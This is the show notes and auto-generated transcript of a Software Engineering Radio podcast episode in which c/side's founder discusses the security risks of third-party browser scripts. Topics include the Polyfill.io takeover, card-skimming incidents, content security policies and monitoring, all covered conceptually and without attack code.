Simon Wijckmans, founder of c/side — a company that focuses on monitoring, securing, and optimizing third-party JavaScript — joins SE Radio host Kanchan Shringi for a conversation about the security risks posed by third-party browser scripts. Through real-world examples and insights drawn from his work in web security, Simon highlights the dangers, including malicious attacks such as the recent Polyfill.io incident. He emphasizes the need for vigilant monitoring, as these third-party scripts remain essential for website functionalities like analytics, chatbots, and ads, despite their potential vulnerabilities. Simon explores the use of self-hosting solutions and content security policies (CSPs) to minimize risks, but he stresses that these measures alone are insufficient to fully safeguard websites.
As the discussion continues, they delve into the importance of layering security approaches. Simon advocates for combining techniques like CSPs, real-time monitoring, and AI-driven analysis, which his company c/side employs to detect and block malicious scripts. He also touches on the complexities of securing single-page applications (SPAs), which allow scripts to persist across pages without full reloads, increasing the attack surface for third-party vulnerabilities. Brought to you by IEEE Computer Society and IEEE Software magazine.
Show Notes
Related Episodes
- SE Radio 552: Matt Frisbie on Browser Extensions
- SE Radio 541: Jordan Harband and Donald Fischer on Securing the Supply Chain
- SE Radio 489: Sam Boyer on Package Management
Other References
- c/side | Monitoring, Securing, and Optimizing 3rd-Party Scripts
- PCI DSS 4.0 complete guide and steps
- “I’m harvesting credit card numbers and passwords from your site. Here’s how.” (blog post)
- “How I Hacked Your Website and You Didn’t Even Know” (video)
Transcript
Transcript brought to you by IEEE Software magazine and IEEE Computer Society. This transcript was automatically generated. To suggest improvements in the text, please contact [email protected] and include the episode number.
Kanchan Shringi 00:00:35 Hello everyone, welcome to this episode of Software Engineering Radio. Our guest today is Simon Wijckman. Simon is the founder of C/side. C/side is focused on monitoring, securing, and optimizing third-party JavaScripts. Welcome to the show Simon. Great to have you here. Before we get started, is there anything else you’d like to add to your bio?
Simon Wijckmans 00:00:57 Well, thank you so much for having me. Well, something I like to add is that we start with third-party scripts today, but what we want to do is basically protect the entire like browser as an attack surface. So today that starts with third-party scripts as that’s where a lot of dynamic behaviors come from. But over time we anticipate to solve client-side security as a whole.
Kanchan Shringi 00:01:18 Let’s start though with just third-party scripts and how do they actually fit into the browser security supply chain? What is the browser security supply chain to start?
Simon Wijckmans 00:01:31 When you go to a website, a lot of things happen, right? But I’m going to jump a few steps and go straight to the part where you actually get a response from the web server. An HTML page is loaded. JavaScript, CSS, et cetera comes along. Depending on your framework, there may be server side or client site rendering. But then often in that file or in that page there is a reference to other third-party sources, third-party domains. Those third-party domains didn’t obviously get fetched. So the browser for user is told go to this other domain and get something from there. And that something is defined by that path that full URL, but you don’t necessarily know what you’re actually getting from there. So you can add a hash to that script deck to define specifically the hash of the file you’re expecting, but it’s really up to that web server to serve a piece of content back.
Simon Wijckmans 00:02:19 And so that’s how these third-party scripts are being delivered to the browser of users. And that is essentially also where a problem begins of a third-party script. So day one you think you allow a certain thing, but it has all the capabilities for changing over time. Certain things are dynamic and even though we refer to them assuming that they wouldn’t change, in some cases they can. And so in that case it was basically a wakeup call where if you refer to something that is dynamic that can change, the entire context can change. And so that is also what has happened with these third-party script attacks. When people refer to a third-party script that is supposed to be a chat bot and the week after it is actually listening to you entering passwords, then that is something that is perfectly technically capable of doing and that is a problem.
Kanchan Shringi 00:03:08 Why do developers use third-party scripts to begin with? And sounds like they’re pretty common in web dev. Like can you explain some reasons around that?
Simon Wijckmans 00:03:18 So when the world moved away from using fully server-side things like PHP or, and we’re still actively in the process on that or some things, and Flash player and Java and browsers became less common client-side JavaScript. So client-side fetch JavaScript became a much more common way of dealing with these things. And so JavaScript became supported by browsers and people then used big JavaScript libraries to perform certain dynamic actions in browsers. And at the beginning this was very efficient because when you went to 10 different websites and they were all using that same library because they used a third-party domain, your browser would not have to re-fetch it every time if there was browser site caching enabled for that package. So it was a very efficient way for loading a JavaScript file that would allow you to have a certain behavior in their website.
Simon Wijckmans 00:04:08 Over time this has progressed and people have luckily started moving away from using client-side fetch scripts for this use only. With tools like Note Package Manager and other registries for open-source packages becoming more common. But still these third-party scripts are necessary for certain things like analytics tools, chat bots, ads often there’s all sorts of these third-party that we have to use if you want to use a certain tool. And there isn’t really an alternative for many of these. So any type of like chatbots tool for instance is often a fully dynamically fetched client-side script.
Kanchan Shringi 00:04:44 So there are cases you absolutely must use third-party, but you said things have gotten better with the note Packet Manager as an example. Can you explain that a little bit more?
Simon Wijckmans 00:04:54 Yes. So for some of these third-party scripts or used to be third-party scripts, it is perfectly possible to just get an NPM installable version of that that is hostable on your own web server on your side. And a good example of this for instance was that polyfill,io like incident, there are definitely ways that you can self-host polyfill. It’s a static package that hasn’t really changed in the last few years. So that is something that you can rather easily install. And so in some cases where people are not using a framework that uses nodes or it is just easier to add a client-side script, that is where people would use something like polyfill.io or CDNJS or yeah, I mean there’s a whole bunch of these JavaScript CDNs out there that serve static JavaScript and most of those you can actually get through other means as well that are more secure.
Kanchan Shringi 00:05:47 Okay. So get them, scan them and host them.
Simon Wijckmans 00:05:51 If they are static, then that is the best thing you can do. And I highly advocate that people do that, but unfortunately you can’t do that all the time. And so for tools that are captures or chat bots or ads where there is a certain requirement for dynamic-ness, you may actually require like yeah, still using these third-party scripts and even in some of these scripts that you actually can install as a static script, there are actually calls to third-party domains still happening, be it data being exfiltrated there, which can be a normal thing but also actual fetches still happening to other third parties. And that is where basically the supply chain issue that we see on registry is like Node Package Manager is also very relevant to third-party scripts.
Kanchan Shringi 00:06:34 For more on supply chain attacks for registries like Note Package Manager, I’d like to point listeners to Software Engineering Radio, Episode 535, Dan Lauren on Supply Chain Attacks. Before we get into more details on what developers can and should do, Simon, can you take an example of an attack and walk through it? You did mention polyfill as a recent attack. Do you want to take that example and elaborate?
Simon Wijckmans 00:07:02 Yeah, sure. So let’s talk about what polyfill did first. So polyfill was created by the Financial Times to support. There are many different websites as large media companies often face. They have a lot of websites, some of which they handle themselves, some of which are agencies. So within the company there was a team test to create a package that would support the newer websites and the older websites across browsers and create uniformity. And so that was the project initially. So a few like, well-known open-source con contributors start working on it and then they ended up hosting it on a third-party domain, CDN.polyfill.io. And that was then given to all of these agencies to implement on the website. And so this was a very useful piece of code and in general people liked it because people were moving away from Internet Explorer to Chrome at the time.
Simon Wijckmans 00:07:46 So cross browsers compatibility was a big subject. So this became a very popular script. Eventually some of these contributors moved to different things in their career. Some of them ended up at Fastly. There was sort of change of ownership conversation happening, but it never ended up happening. A chain of ownership from the financial time never made it to Fastly. They ended up changing it to the private ownership to one of the maintainers. So this was in February this year. And then Fastly jumped on that subject and put a blog post out to alert people of this change and offer a mirrored version of it essentially on their own CDN. And the same happened with CloudFlare. CloudFlare the exact same thing. But unfortunately as a result nobody did it. Like nobody actually took it seriously and removed that script and changed it to the like other hosted version.
Kanchan Shringi 00:08:31 This was a blog post. How do you even know how many people read it and what are they supposed to take away from it?
Simon Wijckmans 00:08:38 I mean there wasn’t really a good serious way of putting this to people’s attention at the time. Because nothing bad had happened. There was a suspicious chain of ownership to a Chinese company. Nothing had happened at that point. Okay then fast forward a few months to the 25th of June and if you had that script on your website, at that point in time, this Chinese company made an adjustment to the code where if a certain user agent were to request that script, they would also get another script with it. And that was hosted on Google analytics.com. So Google analytics with an L as in I and that would end up redirecting you to adult content websites and online casinos, which looked like a rather juvenile attack. Of course when that happened we were one of the first ones to notice.
Kanchan Shringi 00:09:17 How did you notice it?
Simon Wijckmans 00:09:19 Aha, that’s a good question. So of course there’s a lot of websites that all of a sudden this happened. We’ve got a lot of features that we monitor. There’s of course outcry on social media when these things happened. We were very much in an early beta stage at the time, but we still got the intel to come in essentially to take it from there. And so essentially the first time we noticed it, it took about 60 minutes for us to put a blog post out since, because we noticed it was rather distributed at the time. We personally bumped into it when we went to these websites. But the interesting thing is that they made a script only inject at malicious code once per IP address. So they made it harder to basically understand what was happening. So that was interesting. And then of course when we noticed we made a blog post, we reached out to our PR consultants, we got it in the news and then everybody kind of jumped on it.
Simon Wijckmans 00:10:02 And for some time there was wide scale chaos, but nobody was really taking action. Threat feeds did not mention it anywhere. So for 30 hours everybody knew it was bad, but threat feeds were still saying it was okay. And then eventually Namecheap, the registrar of the domain name jumped in and purchased the domain name kind of back. I don’t think there was actually a change of money, but what they did is they removed any of the DNS like objects or DNS queries and as a result that domain name was no longer responding to anything. At that time, that was on more than 490,000 websites. To this day, it’s still a more than 380,000 websites. If Namecheap hadn’t done that, this attack would still be on today. That is what we know. If you’d allow me, I’d like to explain what likely happens, but the problem is that the evidence of it is not a 100% there.
Simon Wijckmans 00:10:48 So word on the street is that a life-changing amount of money was offered to the then personal maintainer of the polyfilll.io domain. And that person was presented a solid business case by a Chinese company that wanted to use it to host CDNs and all that stuff. Okay, so the change of ownership happens, person gets the money, nothing bad happens initially. Now this is a script that’s on 500,000 websites and some of those are large news websites, online HR platforms, you name it. There’s some really, really massive logos in there. The expectation is that between February and June, it would be kind of silly that they would have such a high value resource available and do nothing with it. So what we expect within a security community is that based on the refer header that was used to fetch the script because at that time they moved away from a CDN hosted script to an actual web server responding, depending on the refer header and perhaps some other headers, they would actually send a malicious payload along and pull off a much more stealthy attack to potentially steal information like identification information, HR information, could have even been or adjust content on news websites or whatever.
Simon Wijckmans 00:11:59 It could have been anything, right? And then as a result, they would be successful in data attack, they would have the data that they need and then to blow it all up and basically kill the story and get people to think about other things and remove their mind from polyfill.io as a potential thing, basically close a subject, they would make this incredibly noisy attack happen in June. That’s what we think happened. And the reason why we think that is because first of all, by redirecting people to adult content sites and online casinos, you’re not going to make life changing money. So there is very little financial incentive to do that because the script was able to only inject bad things for certain user agents and only once per IP address. They were clearly aware of the advancements of the attack that they could pull off.
Simon Wijckmans 00:12:44 It just wouldn’t make any sense for people to spend that amount of money to then do that type of a juvenile attack. That is what we think and the problem is we’ll never know. Because nobody’s keeping an eye on their client-side behaviors. There is no real good monitoring solutions out there aside from what we’re trying to build to actually monitor the behavior in the browser of a user. So the fact is we’ll never know and that’s the real issue with client-side security. This tech factor has been around for a long time, but we’ve not really had good solutions to it for a very long time. So we don’t know how often it happens until it’s a very visible and very wide scale attack. So that’s that.
Kanchan Shringi 00:13:19 I do have some questions on what you mentioned about what in the street, but I guess you can really answer with any degree of certainty. But so the thing that I will take away from this is that just that these attacks are so easy to pull off, right?
Simon Wijckmans 00:13:34 Basically if you get your hands on something that delivers a script is in the flow of the delivery of a script, you’ve got it. And that could be anything from the IP range, the domain name, the storage bucket, or even just have access to the open-source repo of it. And if it has CI and it deploys that scripts in actual production eventually then there you go. You’ve got a malicious third-party script in your hand. So yes, it is very easy to pull off. There’s actually a really good blog post about this that went viral in 2018. It’s called I’m Harvesting Credit Card Numbers on your Site and Here’s How, it’s a really good blog post and basically every word that is written there is still possible today. Luckily, it’s fictional so it was only a joke, but nothing that’s written there is impossible and it really shows how easy it is to execute an attack like this.
Kanchan Shringi 00:14:19 I’ll put it in the show notes. Why has this not been more focus on third-party scripts? Is that increasing now and why now?
Simon Wijckmans 00:14:30 So there’s definitely been a flood of these types of incidents since 2010. And I would say it kind of peaks before Covid around 2018, 2019. There was a very like widely covered attack back then on British Airways where again, funny enough, the same kind of number, half a million people’s credit cards were stolen roughly, it was about 460,000 roughly. But yeah, people’s credit cards were stolen and that was also a third-party script. Although they also managed to get access to the actual web infrastructure of that web server. They injected a script that would monitor for these credit cards, and they would exfiltrate that information to a domain name. And the domain name was BofAs.com. So a domain in that looked as if it could have been from British Airways. Well today we actually own that domain name so if people want to read up on what happened with that incident, they can go to BAs.com and they can see like actually what happened then?
Simon Wijckmans 00:15:21 But it basically hasn’t gone away. And I would say that kind of the media got bored with this subject and the security industry wasn’t really building anything for it. So it was one of those annoying situations where it happens and there isn’t really an elegant solution to it. And unfortunately the problem is likely going to become way larger. And that’s for a few things. So first things first, we are doing a better job at protecting our web infrastructure. We’re putting proxies in front of it because of Cloudflare’s, incredibly generous offer of giving free proxies to everybody or a very cheap pro and business tier. A lot of web infrastructure is now protected. So pulling off a very simple SQL injection attack isn’t as simple as it used to be. More and more of these great tools like SoC.io or SoC Dev sorry, are around and help you protect your open-source dependencies and keep an eye on those.
Simon Wijckmans 00:16:10 So they make sure that whatever you get from NPM isn’t causing any trouble. But then of course the question is what remains left? What is an attack surface that is powerful enough to pull off a serious attack but is currently not really being monitored? Well, the answer there is the client sites and NPM package installs something that is actually allowing dynamic fetching in a browser of a user. That could be a big problem if people add third-party scripts to their website, that could be a big problem. And the thing is that most websites nowadays don’t actually monitor any type of client site behavior at all. They don’t have the tools for that in place. The tools for that are also not incredibly accessible. They’re rather expensive. They’re usually part of a larger enterprise commitment with a security company. And so therefore this has just been a problem that’s been looming in the background and there was a lack of solutions for it. And so we took action, we recognized this issue and we decided to do the hard thing but also the right thing of building a service that’s able to deal with these types of attacks.
Kanchan Shringi 00:17:06 Thanks for that Simon. Though I just want to point out, at least the way I understood it, the British Airways attacks wasn’t really a third-party script, right?
Simon Wijckmans 00:17:16 Well the British Airways attack was an interesting one. So through getting their hands on credentials of a contractor, they managed to work their way into the internal network of British Airways, get their way onto one of the web servers and then they added a third-party script that accelerated this data. Well, or they adapted a third-party script actually to add this code or a first party script actually to add this code that would exfiltrate credit card information to a domain. And that was BofAs.com. But the reality is that this behavior got executed client-side. That’s where the bad thing happens. Nowadays with tools to read through code and analyze certain behaviors, you’re likely could have spot that specific one. But then there’s also many other ones like the EasyJet attack, there was another one on another airliner at the end of 2023 called Aeropa.
Simon Wijckmans 00:18:04 All types of retailers, all types of booking sites, all types of, well basically any company that accepts credit card information online or has a substantial amount of traffic going to their website. And by the way, this is not as hard to pull off as people may think. If you have ads on your website, you’re essentially giving a third-party to the ability to sell space on your website and guess what an ad is. An ad is often a piece of JavaScript. And so adware is another way to refer to this thread. And the thing is that as people use large ad providers, they have done a good job at like defining which APIs those ads can use and which they can’t. But as you start looking for higher margin ones that are maybe less reputable providers, then that security is not always there. So the issue with third-party scripts is still a very major one and has impacted many websites over the years, essentially as soon as JavaScript was added to browsers.
Kanchan Shringi 00:18:58 So you mentioned ads and analytics as the key source for this requiring third-party scripts on your website.
Simon Wijckmans 00:19:06 I would say ads is the easiest one to get an attack into a website or in a wide amount, like a wide number of websites. But then other tools like analytics, chatbots, et cetera, these are often industries where there are lots of small vendors and those small vendors do not necessarily have funds to protect themselves very well. Some of these companies can randomly cease to exist or get acquired and a few years later is not necessarily clear anymore who’s keeping an eye on that script. Another example I like to refer to is, companies that provide a third-party script that are not inherently very technical in its core existence. So as an example, for instance, there are like influencer marketing firms out there whose core product is their catalog of influencers that they represent. But then they ask you to add a little script to your website to track the conversion, the sales that happen as a result of people clicking through from TikTok to the website.
Simon Wijckmans 00:19:57 Well those people often they literally get a contractor on board to help them build that script. They build it, they make it, they ship it, they walk away, they may be on a retainer, they may not be on a retainer. And that script now lives in a bunch of websites. And those are the types of scripts that we see getting exploited to most out of like all of these other scripts I would say analytics companies, they have been grilled on this issue and because of these attacks happening in the past, of course they are aware that they have to take action to make sure that they’re safe. That message hasn’t really made it to every different vertical of third-party script provider.
Kanchan Shringi 00:20:30 So what role does the open-source community play here? What do they do and what can they do better?
Simon Wijckmans 00:20:39 I think the open-source community can help here by making sure that whatever features and tools they provide are available in a format that people can self-host or people can install through a registry like NPM so that at least there is an ability of transparency where you can see these things. So avoid building third-party hosted scripts, avoid using them to the furthest extent that you can and mostly be very transparent about security that you have like implemented if it must be a third-party script, how you seek to protect your actual infrastructure, where that script is being hosted, how you make sure that your CI around it is safe. Make sure that you own that domain for a long enough amount of times so that it doesn’t all of a sudden become a surprising situation when it doesn’t get renewed. Those are all things you can do.
Simon Wijckmans 00:21:28 And then another thing that the open-source community can do that I think is kind of underappreciated, but if you’re building something that likely will end up in a third-party script at some point, immediately buy the domain and own it because if you’re not going to do it, someone else is going to take that code you wrote mirror it and buy a domain name for it and people are going to think that you actually own that domain name, when that isn’t necessarily the case. And this is essentially what has happened with polyfill. The open-source like contributor that built that script was not the one that owned that script. And that of course creates a headache for everybody, right? Because you don’t really know like the full extent of that person’s technical ability because they didn’t write that thing. They are an entirely different third-party to work with altogether.
Simon Wijckmans 00:22:14 So that’s another thing I would say the open-source community can do. And then as always, if you bump into a bad script, report it, make noise, that’s how threat feeds get their data. I personally don’t think threat feeds are the answer in 2024 because there’s just too many things happening for threat feed providers to keep an eye on and unfortunately threat feed providers themself get acquired, their engineers leave like any business, there’s rotation happening over the years and their quality is not guaranteed. And the security rule tends to rely too heavily on threat feed providers to tell them when something is bad and when something needs to be stopped. And that is another thing that I would say we need to start pushing back against. We cannot get away with buying security products that are basically a wrapper around a third-party threat feed that you can get either for free or that is just so commonly used that by the time it makes it onto the threat feed, the attacker knows and they’ve moved onto a different attack. To loop it back to that polyfill incident, it took about 30 hours for that script to be added to a threat feed and that is really not acceptable. 30 hours of a malicious script that could have done anything from mining crypto and browsers, stealing people’s sensitive information, 30 hours of the whole world knowing that it’s bad of it literally being on news websites before a threat feed added, it is not good enough.
Kanchan Shringi 00:23:30 Is there any relation to browser plugins and third-party scripts in terms of mechanisms or security policies etc.?
Simon Wijckmans 00:23:38 Yes, for sure. So under a MANIFEST-2 of like the Google Chrome extension store like so to MANIFEST-2 to is a file that you add to your Chrome extension when you ship it onto the store, you are perfectly allowed to inject third-party scripts in the sites that people enter. So when you as a user install an extension on your browser, the extension is able to inject a script. And fortunately there are certain industries that are really heavily targeted by malware scripts and those are online betting websites, cryptocurrency exchanges, cryptocurrency sites in general. There are a lot of really nasty plugins out there that try to steal all sorts of information out of those. So this is another thing where I feel it need to be a little more cautious. It’s not because something made it onto the Chrome web store that it is safe.
Simon Wijckmans 00:24:25 The theme at the Google Chrome web store that manages this, they likely have some type of review mechanisms in place and in fact there’s two of them that they make public in their Chrome web store. But the reality is that as soon as there’s a third-party script in there, they don’t really know with any level of certainty what they’re actually getting from these third parties because the only thing that that third-party line of code in that script is, is a reference to another web server. And while you can check that web server today, you’re not certain how it’s going to behave tomorrow. And in fact what I’m seeing can be different from what you’re seeing. Right? And that’s another element here is the most aggressive attacks that have happened of this type, they last for many weeks if not months. And they lasted that long because they were able to fly below the radar by only injecting in a certain percentage of users’ browsers in specific regions under specific circumstances.
Simon Wijckmans 00:25:16 And if you wrote that rotate that every couple of hours and you say for instance West Coast US gets a bad script 1% of the time if they have a certain user agent and you go to another region, you fly below the radar for so long that even if people are complaining about it on Twitter, the threat feed vendors will probably not add it to their threat feed because they cannot reproduce the attack. That is a major issue. Dynamic-ness of scripts in general referring to a third-party domain and trusting whatever you’re getting from there is just not great and unfortunately there are some tools that will only work if you do it that way and that’s where we have to come in and provide solutions so that at least when you use these tools you are given some level of security.
Kanchan Shringi 00:25:56 Thank you for that Simon. I was hoping and tell me if we can do that, is, just as an example, take a site that you might have investigated in the past just to see how many types of third-party JavaScripts it has. You know you made a point earlier on the show that a lot of websites have the Polyfill even though they may not have needed it anymore. So there are legitimate cases where people have third-party scripts but also sounds like cases where you know people just haven’t taken the care to remove stuff they don’t need. Is it possible, do you have an example site that we could check to see what kinds of third-party scripts it has?
Simon Wijckmans 00:26:37 Yes. So on our own website you can enter the domain of a website and it will go there. There we will crawl it and unless they have bot detection, we will tell you what third-party scripts are on that page, how many there are. We will crawl a few pages, we’ll tell you whether there are scripts on different pages, et cetera. I don’t want to name call anyone specific here, but there’s a very large sports clothing e-commerce brand out there that I think many of us have items from. We have over 120 of these on their website and it’s ranging from a range of analytics tools, some of which overlap in functionality to as I said, a chat bot or captcha or text for certain social media tools that are also scripts. They are using some special AI tracking capability that helps them customize the store for the types of things that you have looked at in the past and your other like heuristics that they have on you.
Simon Wijckmans 00:27:30 120 of these fully dynamic things is an in totally impossible number to manage unless you have a tool for it. I like to refer to like it’s basically babysitting 120 fully dynamic babies that have not had a nap and they’re still kind of highly energetic and annoyed. You just can’t handle that many. You can maybe handle one or two of those by visiting them regularly and making sure that there’s no suspicious behaviors like new SSL certificates being issued for that domain or changes of ownership of the domain or code changes that look out of line. But I mean as soon as you have more than maybe 10 it’s entirely impossible. And that is the reality if you go around the web, open the developer console, have a read through their head tag, look at the third-party scripts that are loaded also in the main of that page you’ll see that there’s a lot of them and in fact modern frameworks like Next.js and like most single page web app frameworks, they make this problem worse.
Simon Wijckmans 00:28:28 Because as you navigate through pages or so it looks, you’re navigating through pages, the pages are not actually fully being re-rendered. So the previously present third-party scripts are still present on the next page as you are. So as a developer, if you make people route to the payment page, do a hard refresh, make sure that there actually does a full like window refresh and it’s not just like changed URL in the nav bar. That is another common thing that we see that there are payment portals present on websites and all of the other scripts from the other pages are still there. Even though if you manually refreshed on the payment portal, those scripts wouldn’t be there. So at least somebody knew about the problem but because of how single page web apps work, they are still there.
Kanchan Shringi 00:29:09 So, we know there are risks and you mentioned the data exfiltration where data is sent over and maybe this is an example of the payment where I enter my credit card information and the third-party script sends that information somewhere else, right?
Simon Wijckmans 00:29:26 Yes. That is kind of a very serious type of attack here. And to be clear, this has happened so often that the PCID assist spec, so the payments card industry specification that we all have to adhere to for accepting payments online, their fourth generation which is kicking in fully in effect in March next year, they require you to keep a list of these third-party scripts while they are there and have tamper proofing in place to keep an eye on them. So as they change that you’re alerted. So that is a very specific type of third-party script attack that happens so often to the point that they like particularly had to call it out in essentially compliance. And that has actually had an interesting side effect. When you get cyber insurance, they’ll ask you about your PCID assist status. So if you go through that form really quick and you say yeah, yeah, yeah I’m fine and then some incident happens and it turns out well actually you haven’t really lived up to the spec of PCID assist. It could be that the cyber insurer just says nope, we can’t cover you here, you’ve not actually taken the responsibilities that you had to take. So then there you go. It’s unfortunately a very common one that one
Kanchan Shringi 00:30:31 I’ll put a link. I’ve noticed a blog post on your website on this, so I’ll put a link to that in the show notes.
Kanchan Shringi 00:30:54 What else beside data exfiltration?
Simon Wijckmans 00:30:57 Also you have data exfiltration of credit cards, usersí credentials, you can mine crypto in people’s browsers. Browsers have become more powerful and more capable, and we’ve added so many more new cool features to it that we’re using for all types of legitimate reasons. But those can all be used for illegitimate reasons as well. So as people are building progressive web apps, those often store local data sensitive data locally in a browser session. Well an example there is that there are third-party scripts out there that look for that sensitive information as soon as you reconnect back to the internet would upload that information. So that type of data exfiltration I would say is rather new. The mining crypto one kind of peaked and has since come down a bit because there are certain levers built into Chrome now that would alert to an extent, but you can still stay below the threshold. So it’s still kind of an issue. But then there’s also other ones like malicious redirect, malicious rewrites on pages. I mean anything that can happen within a browser really can be used to an extent for malicious use. Logging you out from all of your other sessions unfortunately is also a thing you can still pull off. So logging people out to just annoy them, you can do that.
Kanchan Shringi 00:32:07 So as you mentioned, it’s certainly a problem on you know, keeping track of how things are changing. But to begin with, how can developers decide if a script is good to use? Is that the reputation and reliability of the provider? What should they look for? Any red flags?
Simon Wijckmans 00:32:26 Yes. So that’s usually my first recommendation is make sure that if you implement a third-party script on your website that this is a company that gets that that is a major security risk and that they have to protect that properly. So don’t trust some random person on Twitter that made some analytics tool and is very early in career and doesn’t necessarily express that they get the security risk. That’s the sort of thing that I wouldn’t really trust. But then the next stage that I tend to recommend to people is trying and create two buckets, a bucket of tools built by actual technology companies. People that get engineering get how to write safe code and get the importance of it. And then a bucket of companies that quote unquote, we also have a script, right? Or can you add the script real quick issue there is that those types of companies are usually that’s not their core business and they tend to do a worse job at protecting those.
Simon Wijckmans 00:33:18 And so those are the ones that I would always seek to avoid. Well then as a next step in that framework, I would say if you can self-host or there are two options and one is one you can host and one is like a fully dynamic version, then try and go towards the one that you can self-host. Because that’s the best way to deal with the security risk. Unfortunately for some tools it’s just going to be impossible. Or the static code that they give you to self-host actually still refers to third-party things and third-party dependencies. So be mindful of that. And then eventually, and this is a sad reality, you are probably going to have some dynamic tools on your website. So taking into account reputation of those, you should still likely use a tool like ours and that’s why we have that free tier, that’s why we have a G business tier so that you can actually go ahead and just use it, don’t have to worry about it.
Simon Wijckmans 00:34:07 And those third-party scripts that are dynamic, they’re now flowing through us so at least we’re keeping an eye on how they behave for all of your users. So if a user in Hawaii at 4:00 PM in the afternoon gets a different script from what you’ve seen on all of your other users, well then at least we’d be able to alert you for that. And then of course the other things that you can do that I always recommend people to consider, but in general our bad developer experience use things like content security policies to define the domains that you want to allow to be fetched by the browser of your user. The painful thing is that that that doesn’t actually solve a lot, it only allows you to define the sources, it doesn’t allow you to define the payloads necessarily. So that doesn’t solve the entire problem.
Simon Wijckmans 00:34:49 And then in case scripts are actually static, then also adding that hash of that script to the script deck to define that that is the hash that should be allowed and nothing else. You can still work your way around that, and bad actors have historically found ways to do that, but that at least gives you some level of certainty. And security is all about layering. So you add a layer, you add a layer, you make the risk smaller and smaller and smaller until it is a negligible risk, and you can demonstrate that you have done everything to the furthest extent possible that you can with the technology available. And then of course there are just tools that make this easier for you. That’s what we’ve built.
Kanchan Shringi 00:35:22 I do want to talk a little bit more on the browser security controls and content security policies, but before we do that, is there anything unique here with respect to mobile?
Simon Wijckmans 00:35:33 It’s interesting because mobile browsers are slightly different from desktop browsers but there are many different browser engines out there, right? So Chromium is definitely one that we see most of the time. But the web kit being used safari, there’s a whole bunch of exotic ones and people building new browsers, which are generally things that I support. The reality is that we often use browsers without actually realizing that a progressive web app, a web view are essentially browsers, and they have the full attack surface of a browser. So when it comes to the native security aspects that you can use, well a progressive web app because it is essentially a browser also supports things like content security policies, some things like WebView can but not always to the fullest extent or the behavior is ever so slightly off. There isn’t really much more that you can do within a PWA or WebView that you can’t do in a browser already because they are inherently just web apps.
Simon Wijckmans 00:36:28 So, but my advice towards people and I always say like, I don’t really want to give advice because this is a subject where unfortunately there’s a lot of nuances. But generally my advice towards people is if you’re using anything that’s a browser or BWA that really is just a browser, make sure that you have as much control over your code as possible and use the right tools and understand that security is about layering. So use something like Socket to protect that open-source dependency that you load n pm that is the better thing to do. And then for the client-side fetch things, there wasn’t really a good solution. Well that’s what we went out and built.
Kanchan Shringi 00:37:03 So back to you know, managing third-party script dependencies. You know the one of the first things you said is self-host if you can, but then that gets to be a problem because the JavaScript could be having other, calls to other third parties. Can I ask a naive question? Can’t you just pull them and self-host the dependencies yourself?
Simon Wijckmans 00:37:25 You can but in some cases you can’t . So I’ll give you an example, right? So let’s say you’re using Intercom as a chat bot on your website. Well of course someone typed something into that chat bot that data gets sent somewhere, then you correspond with that person through a fancy dashboard and then they get a message back. Well these are dynamic behaviors, right? And that must be dynamic. So some of these scripts you simply cannot self-host in in their entirety and that is for analytics and chatbots and captures and ads and third-party video loaders and all of these types of things. They are inherently dynamic. That’s their functionality. There isn’t really a good workaround for that. Luckily some of these tools they have like service side rendered versions available or some of them have sort of middleware version available where if you’re using XJS you can do some of these things in like cloud for workers basically sitting in the middle.
Simon Wijckmans 00:38:22 The reality is that they can pull off a lot of these same malicious acts over there. So the attack surface is just slightly moved to another area that you’re not protecting and that’s a major issue. So you simply can’t always, it would be lovely if we could but then we are back to a world where we don’t really have much dynamic-ness. Of course if you built your own chat bot into your website and you actually like own the whole package where you found an open-source thing that you could self-host yourself, yeah that would be amazing. But when I built my own business, that was the first thing I realized doesn’t scale because self-hosting these types of things versus just paying somebody to maintain it for you. You can’t open-source everything and then have to maintain it and deal with it yourself. Sometimes you got to actually pay somebody to do a better job, right?
Kanchan Shringi 00:39:05 So there is no brute force approach. You do need to figure out how to yeah, handle third-party scripts. Back to browser security controls, you mentioned content security policies. Can you drill a little bit more into that and what else is there?
Simon Wijckmans 00:39:20 So content security policies are basically a header you add to your webpage, well when you are the web developer of a page and in there you’ve got, I think a little over 30 different directives you can add. And that’s anything from like connect source to script source to adding things like specifying for instance that certain fonts are allowed to be loaded but not from certain sources, et cetera. You can go quite far into detail about it. There’s a lot of things you can write there. And it’s all in a Mozilla documentation, so you can like drill your way into that and see it. And also you can add logging endpoints. So for instance, if something breaks a certain rule, then you could receive a log for that. Content security policies are currently going to their sort of third major wave in existence. So CSP-3 is around the corner.
Simon Wijckmans 00:40:06 And so, in CSP-2 there were certain limitations that made it hard to love. I mean so for instance you could actually report back the first 50 digits of a third-party script so that at least you could verify some of the payload. But then, of course, guess what bad actors did? They just made sure that whatever bad thing they changed didn’t show in the first 50 characters of a script. With CSP-3 there is a deeper specification towards like hashes and those types of things. But in CSP-3 there are still certain limitations that I personally find it making a suboptimal thing to use. So ultimately it still comes down to the same problem. CSP policies define third-party paths, third-party scripts — as in to serve the actual URLs that you’re calling — but they don’t do much with the payload aside from adding a hash, which by the way it could have added to the script tag itself anyway.
Simon Wijckmans 00:40:58 So that’s one of those controls. There are other controls, but I would say CSP is sort of the major one that is used for client site security today. And over time hopefully more of these get added. As I mentioned, there are just more functionalities being added to browsers every day. And as a result of that we also should be looking for ways to secure these things. As I mentioned, adding more things that allow you to store sensitive information in the browser of users examples for that instance index DB but also WASM, that allows you to do basically virtual machines in browsers or checking containers in browsers to an extent. There’s just a lot you can do there, and those things need security as well.
Kanchan Shringi 00:41:35 So on the CSP you mentioned that you can limit the sources that you’re pulling the script from. What happens though, if your script that you’re pulling is now referring to other sources, how do you even know what you should be limiting?
Simon Wijckmans 00:41:51 So that’s where that logging capability is so useful. So there is a report only directive within CSP that basically you can just add to any type of CSP header you added, or at least most of them support the report only header. And what it does, it just literally sends little packages to an endpoint, and you can then read into those packages and you can get a list of those third-party scripts that were being loaded. And as you mentioned, indeed, if a script calls another script and that script calls another script, you’re working your way down the list. All of those will be listed in CSP then you of course know have a list that is current today. But that is again sort of the reason why people don’t tend to like CSP policies very much. If these scripts change and they add another URL to that script or another dependency and you haven’t updated your CSP policies, it’s going to result in it breaking because that dependency is not going to be loaded.
